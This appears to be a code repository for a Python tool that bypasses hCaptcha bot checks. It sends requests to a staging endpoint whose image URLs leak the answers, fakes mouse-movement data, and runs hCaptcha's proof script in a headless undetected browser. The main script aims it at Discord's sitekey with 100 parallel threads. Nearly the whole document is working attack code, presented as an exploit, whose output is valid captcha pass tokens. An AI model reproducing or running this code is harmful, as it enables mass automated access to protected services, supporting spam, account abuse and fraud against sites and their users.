├── hcaptcha ├── __init__.py └── client.py ├── README.md └── main.py /hcaptcha/__init__.py: -------------------------------------------------------------------------------- 1 | from .client import * 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WARNING 2 | This exploit barely works anymore. dont use for anything xd 3 | # 4 | 5 | ## Usage 6 | - Update `hcaptcha.com` to `staging.hmt.ai` inside your code. 7 | - Also urlencode the sitekey in the request paramters. 8 | - Send a request to getcaptcha and it'l return images with the type inside the url. 9 | 10 | 11 | ![Code_5w80DkNNNu](https://user-images.githubusercontent.com/63415260/183271880-a8d06893-013e-437b-8ee0-e3bb6128efc2.png) 12 | 13 | Speeds can be improved by changing the language of the actual solver. (Go to the [Golang branch](https://github.com/Qoft/Hcaptcha-exploit/tree/go)) 14 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from time import time 3 | from hcaptcha import HCaptcha 4 | 5 | def main_thread(): 6 | start = time() 7 | try: 8 | solved = client.solve() 9 | took = int(time() - start) * 1000 10 | print(f"[!] Solved captcha ({took}ms) | {solved[:28]}") 11 | except Exception: 12 | pass 13 | 14 | 15 | if __name__ == '__main__': 16 | client = HCaptcha( 17 | host="discord.com", 18 | sitekey="4c672d35-0701-42b2-88c3-78380b0db560" 19 | ) 20 | for _ in range(100): 21 | threading.Thread(target=main_thread).start() 22 | -------------------------------------------------------------------------------- /hcaptcha/client.py: -------------------------------------------------------------------------------- 1 | import json 2 | import math 3 | import random 4 | import base64 5 | import urllib 6 | import hashlib 7 | 8 | import httpx 9 | import requests 10 | from datetime import datetime 11 | from urllib.parse import urlencode 12 | from undetected_chromedriver import Chrome, ChromeOptions 13 | 14 | 15 | def encode_all(string): 16 | return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string) 17 | 18 | 19 | class HCaptcha: 20 | def __init__(self, host: str, sitekey: str) -> None: 21 | self._host = host 22 | self._sitekey = sitekey 23 | self.chrome_opts = ChromeOptions() 24 | self.chrome_opts.headless = True 25 | self.driver = Chrome(options=self.chrome_opts) 26 | self.hsw_code = httpx.get("https://newassets.hcaptcha.com/c/e1efca35/hsw.js").text 27 | self.headers = { 28 | "Authority": "hcaptcha.com", 29 | "Accept": "application/json", 30 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " 31 | "(KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", 32 | "Content-Type": "application/x-www-form-urlencoded", 33 | "Origin": "https://assets.hcaptcha.com", 34 | "Sec-Fetch-Site": "same-site", 35 | "Sec-Fetch-Mode": "cors", 36 | "Sec-Fetch-Dest": "empty", 37 | "Accept-Language": "en-US,en;q=0.9" 38 | } 39 | self._config = self._site_config() 40 | 41 | def _mouse_movement(self) -> list: 42 | movement = [] 43 | 44 | for x in range(random.randint(10, 25)): 45 | x_movement = random.randint(15, 450) 46 | y_movement = random.randint(15, 450) 47 | rounded_time = round(datetime.now().timestamp()) 48 | movement.append([x_movement, y_movement, rounded_time]) 49 | 50 | return movement 51 | 52 | def _get_hsw(self, req) -> str: 53 | return self.driver.execute_script(f"{self.hsw_code}; return hsw('{req}')") 54 | 55 | def _site_config(self) -> dict | None: 56 | try: 57 | config = requests.get( 58 | "https://staging.hmt.ai/checksiteconfig?host=%s&sitekey=%s&sc=1&swa=1" % 59 | (self._host, 60 | "".join("%{0:0>2}".format(format(ord(char), "x")) for char in self._sitekey)), 61 | headers=self.headers, 62 | timeout=3).json() 63 | if config["pass"]: 64 | return config["c"] 65 | except Exception: 66 | return None 67 | 68 | def _get_captcha(self) -> str: 69 | try: 70 | payload = urlencode({ 71 | "host": self._host, 72 | "sitekey": self._sitekey, 73 | "hl": "en", 74 | "motionData": { 75 | "mm": self._mouse_movement(), 76 | "st": round(datetime.now().timestamp()), 77 | "prev": { 78 | "expiredResponse": False 79 | } 80 | }, 81 | "n": self._get_hsw(self._config['req']), 82 | "c": json.dumps(self._config) 83 | }) 84 | self.headers["Content-Length"] = str(len(payload)) 85 | 86 | getcaptcha = requests.post( 87 | "https://staging.hmt.ai/getcaptcha?s=%s" % encode_all(self._sitekey), 88 | data=payload, 89 | headers=self.headers, 90 | timeout=3 91 | ) 92 | 93 | if "generated_pass_UUID" in getcaptcha.text: 94 | return getcaptcha.json()["generated_pass_UUID"] 95 | getcap_json = getcaptcha.json() 96 | accepted = dict() 97 | for task in getcap_json['tasklist']: 98 | accepted.update({ 99 | task['task_key']: "true" if getcap_json['requester_question']['en'].replace( 100 | "Please click each image containing a ", "" 101 | ) in task['datapoint_uri'] else "false" 102 | }) 103 | self._config = getcap_json['c'] 104 | payload = { 105 | "answers": accepted, 106 | "serverdomain": self._host, 107 | "sitekey": self._sitekey, 108 | "job_mode": "image_label_binary", 109 | "motionData": json.dumps({ 110 | "mm": self._mouse_movement(), 111 | "st": round(datetime.now().timestamp()), 112 | "prev": { 113 | "expiredResponse": False 114 | } 115 | }), 116 | "n": self._get_hsw(self._config['req']), 117 | "c": json.dumps(self._config) 118 | } 119 | checkcaptcha = requests.post(f"https://staging.hmt.ai/checkcaptcha/{encode_all(self._sitekey)}" 120 | f"/{getcap_json['key']}", 121 | json=payload, 122 | headers={ 123 | "Authority": "hcaptcha.com", 124 | "Accept": "application/json", 125 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " 126 | "AppleWebKit/537.36 (KHTML, like Gecko) " 127 | "Chrome/85.0.4183.102 Safari/537.36", 128 | "content-type": "application/json;charset=UTF-8", 129 | "Origin": "https://assets.hcaptcha.com", 130 | "Sec-Fetch-Site": "same-site", 131 | "Sec-Fetch-Mode": "cors", 132 | "Sec-Fetch-Dest": "empty", 133 | "Accept-Language": "en-US,en;q=0.9" 134 | }).json() 135 | return checkcaptcha['generated_pass_UUID'] 136 | except Exception: 137 | pass 138 | 139 | def solve(self): 140 | return self._get_captcha() 141 | 142 | 143 | --------------------------------------------------------------------------------